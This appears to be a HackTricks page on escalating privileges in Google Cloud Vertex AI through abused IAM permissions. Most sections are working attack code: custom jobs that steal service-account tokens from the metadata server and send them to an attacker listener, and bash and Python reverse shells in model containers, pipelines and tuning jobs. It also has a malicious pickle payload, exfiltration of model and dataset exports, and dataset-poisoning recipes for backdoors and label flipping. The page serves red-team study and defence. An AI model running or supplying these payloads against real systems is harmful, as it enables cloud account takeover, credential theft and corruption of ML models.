Sponsored

GCP - Vertex AI Privesc

Vertex AI

For more information about Vertex AI check:

GCP - Vertex AI Enum

For Agent Engine / Reasoning Engine post-exploitation paths using the runtime metadata service, the default Vertex AI service agent, and cross-project pivoting into consumer / producer / tenant resources, check: [3][4][5]

GCP - Vertex AI Post Exploitation

aiplatform.customJobs.create, iam.serviceAccounts.actAs

With aiplatform.customJobs.create and iam.serviceAccounts.actAs on a target service account, an attacker can submit a custom job that executes code as that service account. The resulting impact is the target service account's effective permissions, subject to the project's other controls. [6][7]

Custom jobs support attacker-controlled training code in a custom container or package, and the --service-account flag selects the runtime identity. Training workloads run on Google-managed infrastructure; when the runtime can reach the metadata server, code can request the attached identity's access token. [8][9][10]

Replace <supported-training-image-uri> with a currently supported image that contains the tools used by the selected command (for example, sh, bash, or curl).

Impact: Privilege escalation to whatever the target service account can access.

Create custom job with token exfiltration or reverse shell
# Method 1: Exfiltrate the runtime token to an attacker-controlled listener
gcloud ai custom-jobs create \
  --region=<region> \
  --display-name=token-exfil-job \
  --worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=<supported-training-image-uri> \
  --command=sh \
  --args=-c,"TOKEN=\$(curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token); curl --data-binary \"\$TOKEN\" http://YOUR-IP:4444/" \
  --service-account=<target-sa>@<project-id>.iam.gserviceaccount.com

# On your attacker machine, start an HTTP listener first (for example, nc -lvnp 4444).

# Method 2: Bash reverse shell (when the selected image includes bash)
gcloud ai custom-jobs create \
  --region=<region> \
  --display-name=revshell-job \
  --worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=<supported-training-image-uri> \
  --command=sh \
  --args=-c,"bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" \
  --service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
Alternative: Extract token from logs
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
  --region=<region> \
  --display-name=token-exfil-job \
  --worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=<supported-training-image-uri> \
  --command=sh \
  --args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
  --service-account=<target-sa>@<project-id>.iam.gserviceaccount.com

# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>

aiplatform.models.upload, aiplatform.models.get

This technique achieves privilege escalation by uploading a model to Vertex AI and then leveraging that model to execute code with elevated privileges through an endpoint deployment or batch prediction job.

[!NOTE] The artifact URI must be readable by the Vertex AI operation and writable by the operator uploading the model. A bucket does not need to be world-readable or world-writable; use a dedicated location with the minimum required IAM grants.

Upload malicious pickled model with reverse shell
# Method 1: Upload malicious pickled model (only if the serving image unpickles it)
# Create a pickle payload that executes when an application loads it
cat > create_malicious_model.py <<'EOF'
import pickle

class MaliciousModel:
    def __reduce__(self):
        import subprocess
        cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
        return (subprocess.Popen, (['/bin/bash', '-c', cmd],))

# Save malicious model
with open('model.pkl', 'wb') as f:
    pickle.dump(MaliciousModel(), f)
EOF

python3 create_malicious_model.py

# Upload to GCS
gsutil cp model.pkl gs://your-bucket/malicious-model/

# Upload model; execution depends on the selected serving image deserializing model.pkl
gcloud ai models upload \
  --region=<region> \
  --artifact-uri=gs://your-bucket/malicious-model/ \
  --display-name=malicious-sklearn \
  --container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-6:latest

# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
Upload model with container reverse shell
# Method 2: use container arguments to run attacker-controlled startup code

# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'

# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/

# Upload model with reverse shell in container args
gcloud ai models upload \
  --region=<region> \
  --artifact-uri=gs://any-bucket/dummy-path/ \
  --display-name=revshell-model \
  --container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-6:latest \
  --container-command=sh \
  --container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1) & python3 -m http.server 8080" \
  --container-health-route=/ \
  --container-predict-route=/predict \
  --container-ports=8080


# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

[!DANGER] Pickle is executable by design, but a pickle payload only runs when the selected prediction image actually deserializes that artifact. A custom container gives more deterministic startup behavior; in either case, an endpoint or batch job still has to load the model before the payload runs. [11][12]

The custom-container image must also satisfy Vertex AI's health and prediction contract. A container that only opens a shell may fail health checks or deployment even if its startup code runs, so validate the image behavior in the target environment. The currently supported scikit-learn inference images and their artifact requirements should be checked before relying on the pickle path. [11][21]

iam.serviceAccounts.actAs, aiplatform.endpoints.create, aiplatform.endpoints.deploy, aiplatform.endpoints.get

If you can create an endpoint and deploy a model to it, you can trigger an uploaded malicious model under a selected service account. The endpoint IAM policy is a separate access-control mechanism: aiplatform.endpoints.setIamPolicy changes who can access the endpoint, but does not deploy a model or select its runtime service account. [6][8]

To trigger one of the previously uploaded malicious models via an endpoint:

Deploy malicious model to endpoint
# Create an endpoint
gcloud ai endpoints create \
  --region=<region> \
  --display-name=revshell-endpoint

# Deploy with privileged service account
gcloud ai endpoints deploy-model <endpoint-id> \
  --region=<region> \
  --model=<model-id> \
  --display-name=revshell-deployment \
  --service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
  --machine-type=n1-standard-2 \
  --min-replica-count=1

aiplatform.batchPredictionJobs.create, iam.serviceAccounts.actAs

If you can create a batch prediction job and attach a service account, the prediction container or model may execute code in a runtime that can reach the metadata service. For batch inference, Vertex AI still uses its service agent to access Cloud Storage and BigQuery even when a custom service account is configured, so validate both identities' permissions in the target project. [6][8][9]

Note: The current gcloud ai command group has no batch-prediction subcommand; use the REST API or a supported client library. [20]

[!NOTE] This attack requires first uploading a malicious model (see aiplatform.models.upload section above) or using a custom prediction container with your reverse shell code.

Create batch prediction job with malicious model
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
  --region=<region> \
  --artifact-uri=gs://your-bucket/dummy-model/ \
  --display-name=batch-revshell-model \
  --container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-6:latest \
  --container-command=sh \
  --container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1) & python3 -m http.server 8080" \
  --container-health-route=/ \
  --container-predict-route=/predict \
  --container-ports=8080

# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl

# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"

curl -X POST \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/json" \
  https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
  -d '{
    "displayName": "batch-exfil-job",
    "model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
    "inputConfig": {
      "instancesFormat": "jsonl",
      "gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
    },
    "outputConfig": {
      "predictionsFormat": "jsonl",
      "gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
    },
    "dedicatedResources": {
      "machineSpec": {
        "machineType": "n1-standard-2"
      },
      "startingReplicaCount": 1,
      "maxReplicaCount": 1
    },
    "serviceAccount": "'${TARGET_SA}'"
  }'

# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

aiplatform.models.export

If you have the models.export permission, you can export a model's supported artifacts to a Cloud Storage location you control. This can disclose model files and metadata, but model export does not generally copy the original training data; the exact output depends on the model's supported export formats. [6][15]

[!NOTE] The destination must be a Cloud Storage location that the export operation can write and the operator can read. Do not make a bucket public merely to satisfy this prerequisite; grant the required access to a dedicated prefix.

Export model artifacts to GCS bucket
# Export model artifacts to your own GCS bucket
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="target-model-id"

# `exportFormatId` is omitted so Vertex AI can select a supported format.
curl -X POST \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/json" \
  "https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
  -d '{
    "outputConfig": {
      "artifactDestination": {
        "outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
      }
    }
  }'

# Wait for the export operation to complete, then download
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./

aiplatform.pipelineJobs.create, iam.serviceAccounts.actAs

Create ML pipeline jobs whose containerized steps execute under a selected service account, potentially achieving privilege escalation through code execution.

Pipelines orchestrate containerized tasks, so an attacker who can submit a pipeline and attach a service account can place attacker-controlled code in one or more components. [8][13]

[!NOTE] The pipeline root must be a Cloud Storage location writable by the pipeline runtime. Use a dedicated prefix and least-privilege IAM rather than a world-writable bucket.

Install Vertex AI SDK
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform
Create pipeline job with reverse shell container
#!/usr/bin/env python3
import json
import subprocess

PROJECT_ID = "<project-id>"
REGION = "us-central1"
TARGET_SA = "<sa-email>"

# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
pipeline_spec = {
    "schemaVersion": "2.1.0",
    "sdkVersion": "kfp-2.0.0",
    "pipelineInfo": {
        "name": "data-processing-pipeline"
    },
    "root": {
        "dag": {
            "tasks": {
                "process-task": {
                    "taskInfo": {
                        "name": "process-task"
                    },
                    "componentRef": {
                        "name": "comp-process"
                    }
                }
            }
        }
    },
    "components": {
        "comp-process": {
            "executorLabel": "exec-process"
        }
    },
    "deploymentSpec": {
        "executors": {
            "exec-process": {
                "container": {
                    "image": "python:3.11-slim",
                    "command": ["python3"],
                    "args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('YOUR-IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"]
                }
            }
        }
    }
}

# Create the request body
request_body = {
    "displayName": "ml-training-pipeline",
    "runtimeConfig": {
        "gcsOutputDirectory": "gs://<pipeline-root-bucket>/folder"
    },
    "pipelineSpec": pipeline_spec,
    "serviceAccount": TARGET_SA
}

# Get access token
token_result = subprocess.run(
    ["gcloud", "auth", "print-access-token"],
    capture_output=True,
    text=True,
    check=True
)
access_token = token_result.stdout.strip()

# Submit via REST API
import requests

url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
headers = {
    "Authorization": f"Bearer {access_token}",
    "Content-Type": "application/json"
}

print(f"Submitting pipeline job to {url}")
response = requests.post(url, headers=headers, json=request_body)

if response.status_code in [200, 201]:
    result = response.json()
    print(f"✓ Pipeline job submitted successfully!")
    print(f"  Job name: {result.get('name', 'N/A')}")
    print(f"  Check your reverse shell listener for connection")
else:
    print(f"✗ Error: {response.status_code}")
    print(f"  {response.text}")

aiplatform.hyperparameterTuningJobs.create, iam.serviceAccounts.actAs

Create hyperparameter tuning jobs that execute arbitrary code with elevated privileges through custom training containers.

Hyperparameter tuning jobs run multiple training trials in parallel with different hyperparameter values. By specifying attacker-controlled trial code and associating the trial job with a privileged service account, an attacker can execute code with that identity. The service account belongs in trialJobSpec.serviceAccount, and attaching it still requires iam.serviceAccounts.actAs. [7][8][14]

Impact: Privilege escalation to whatever the target service account can access.

Create hyperparameter tuning job with reverse shell
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
  metrics:
    - metricId: accuracy
      goal: MAXIMIZE
  parameters:
    - parameterId: learning_rate
      doubleValueSpec:
        minValue: 0.001
        maxValue: 0.1
  algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
  workerPoolSpecs:
    - machineSpec:
        machineType: n1-standard-4
      replicaCount: 1
      containerSpec:
        imageUri: python:3.11-slim
        command: ["python3"]
        args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('YOUR-IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])"]
  serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF

# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
  --region=<region> \
  --display-name=hyperparameter-optimization \
  --config=hptune-config.yaml

# On the attacker machine, set up a listener (for example, nc -lvnp 4444).
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

aiplatform.datasets.export

Export dataset metadata and annotations to a Cloud Storage location you control. For image datasets, the export creates JSON Lines files containing metadata, annotations, and the original Cloud Storage URIs; it does not create additional copies of the image data. The security impact therefore depends on what sensitive values are present in the metadata or annotations and on the permissions available for the referenced objects. [6][16]

Note: The current gcloud ai command group does not expose dataset commands, so use the REST API or a supported client library. [17][20]

The export is still useful during an assessment because labels, user-supplied metadata, and source URIs can reveal sensitive information or identify higher-value storage targets.

Export dataset metadata and annotations
# Step 1: List available datasets to find a target dataset ID
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Export dataset metadata and annotations to a bucket you can read
DATASET_ID="<target-dataset-id>"

curl -X POST \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/json" \
  "https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
  -d '{
    "exportConfig": {
      "gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
    }
  }'

# The export operation runs asynchronously and will return an operation ID
# Wait a few seconds for the export to complete

# Step 3: Download the exported data
gsutil ls -r gs://your-controlled-bucket/exported-data/

# Download all exported files
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./

# Step 4: View the exported data
# The export is JSONL metadata/annotation data with references to original locations;
# it does not copy the image objects themselves.
find exported-data -type f -name '*.jsonl' -print

# Depending on the dataset, the exported records may contain:
# - References to training images/files in GCS buckets
# - Dataset annotations and labels
# - PII or sensitive business data entered as metadata/annotations
# - Credentials or API keys only if users put them in metadata/annotations

aiplatform.datasets.import

Import malicious or poisoned data into existing datasets that a later training run may consume, potentially manipulating model training or introducing backdoors.

Note: The current gcloud ai command group does not expose dataset commands, so use the REST API or a supported client library. The import request supplies a Cloud Storage source and a schema URI that must match the dataset objective. [17][20]

By importing crafted data into a dataset used for training ML models, an attacker may:

  • Introduce backdoors into models (trigger-based misclassification)
  • Poison training data to degrade model performance
  • Inject data that may cause models to leak information
  • Manipulate model behavior for specific inputs

This attack is particularly effective when targeting datasets used for:

  • Image classification (inject mislabeled images)
  • Text classification (inject biased or malicious text)
  • Object detection (manipulate bounding boxes)
  • Other supported objectives, using the objective-specific import schema
Import poisoned data into dataset
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF

# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF

# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/

# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"

curl -X POST \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/json" \
  "https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
  -d '{
    "importConfigs": [
      {
        "gcsSource": {
          "uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
        },
        "importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
      }
    ]
  }'

# The import operation runs asynchronously and will return an operation ID

# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"

# The dataItemCount should increase after successful import

Attack Scenarios:

Backdoor attack - Image classification
# Scenario 1: Backdoor Attack - Image Classification
# Create images with a specific trigger pattern that causes misclassification
# Upload backdoor trigger images labeled as the target class
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
gsutil cp backdoor.jsonl gs://your-bucket/attacks/
# Import into the dataset; a future training run may learn to classify the trigger pattern as "authorized_user"
Label flipping attack
# Scenario 2: Label Flipping Attack
# Systematically mislabel a subset of data to degrade model accuracy
# Particularly effective for security-critical classifications
for i in {1..50}; do
  echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" 
done > label_flip.jsonl
# This causes legitimate samples to be labeled as malicious
Boundary-case poisoning
# Scenario 3: Boundary-case poisoning
# Add carefully chosen boundary examples to test how a future training run
# handles ambiguous inputs; this import does not itself extract model outputs.
cat > extraction_queries.jsonl <<'EOF'
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
EOF
Targeted attack on specific entities
# Scenario 4: Targeted Attack on Specific Entities
# Poison data to misclassify specific individuals or objects
cat > targeted_poison.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
EOF

[!DANGER] Data poisoning attacks can have severe consequences:

  • Security systems: Bypass facial recognition or anomaly detection
  • Fraud detection: Train models to ignore specific fraud patterns
  • Content moderation: Cause harmful content to be classified as safe
  • Medical AI: Misclassify critical health conditions
  • Autonomous systems: Manipulate object detection for safety-critical decisions

Impact:

  • Backdoored models that misclassify on specific triggers
  • Degraded model performance and accuracy
  • Biased models that discriminate against certain inputs
  • Possible information leakage through model behavior
  • Long-term persistence (models trained on poisoned data may inherit the backdoor)

aiplatform.notebookExecutionJobs.create, iam.serviceAccounts.actAs

The historical managed and user-managed Vertex AI Workbench notebook offerings are no longer a current escalation path: managed notebook creation was removed on April 14, 2025 and existing managed instances were deleted on March 30, 2026; user-managed notebook creation was also removed and existing instances were converted to standalone Compute Engine VMs. [18]

Current Workbench notebook execution runs notebook code on Vertex AI custom training. For a live assessment, evaluate the aiplatform.customJobs.create and iam.serviceAccounts.actAs path above, then verify the executor's service account and the permissions of any input and output buckets instead of replaying the obsolete notebook-execution REST recipe. [8][19]

References

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks